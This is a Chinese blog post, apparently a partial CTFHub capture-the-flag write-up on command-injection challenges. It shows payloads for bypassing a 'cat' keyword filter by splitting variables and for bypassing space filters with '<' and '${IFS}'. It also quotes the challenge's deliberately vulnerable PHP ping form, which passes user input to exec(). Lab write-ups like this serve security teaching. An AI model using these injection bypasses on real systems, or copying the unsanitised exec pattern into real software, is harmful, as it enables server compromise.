CTFHUB-RCE通关记录以及常见的绕过过滤的方法

最新推荐文章于 2024-03-28 17:47:55 发布

VIP文章不想当脚本小子的脚本小子

最新推荐文章于 2024-03-28 17:47:55 发布

阅读量2.1k

点赞数 2

本文链接：https://blog.csdn.net/weixin_40602516/article/details/115052023

版权

先过关，再分析相关的防御源代码

1.过滤cat

然后cat 301472130920273.php然后查看网页源代码即可得到flag

2.过滤cat

根据题目要求过滤了cat 而该服务器为Linux系统区分大小写就无法通过大小写来绕过本来想使用vi命令替换cat命令也能查看到flag中的内容但是失败了最后用了替换法：127.0.0.0 ； $a=ca;$b=t; $a$b flagxxxx

题目源码：

<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
    $ip = $_GET['ip'];
    $m = [];
    if (!preg_match_all("/cat/", $ip, $m)) {
        $cmd = "ping -c 4 {$ip}";
        exec($cmd, $res);
    } else {
        $res = $m;
    }
}
?>

<!DOCTYPE html>
<html>
<head>
    <title>CTFHub 命令注入-过滤cat</title>
</head>
<body>

<h1>CTFHub 命令注入-过滤cat</h1>

<form action="#" method="GET">
    <label for="ip">IP : </label><br>
    <input type="text" id="ip" name="ip">
    <input type="submit" value="Ping">
</form>

<hr>

<pre>
<?php
if ($res) {
    print_r($res);
}
?>
</pre>

<?php
show_source(__FILE__);
?>

</body>
</html>

过滤空格

先进行过滤空格总结，在linux环境下进行试验
1:<> 2:< 3:${IFS}

最低0.47元/天解锁文章

不想当脚本小子的脚本小子

关注

2
点赞
踩
10

收藏

觉得还不错? 一键收藏
0
评论
CTFHUB-RCE通关记录以及常见的绕过过滤的方法

先过关，再分析相关的防御源代码1.过滤cat然后cat 301472130920273.php然后查看网页源代码即可得到flag2.过滤cat根据题目要求过滤了cat 而该服务器为Linux系统区分大小写就无法通过大小写来绕过本来想使用vi命令替换cat命令也能查看到flag中的内容但是失败了最后用了替换法：127.0.0.0 ； $a=ca;$b=t; $a$b flagxxxx题目源码：<?php$res = FALSE;if (is.
复制链接

扫一扫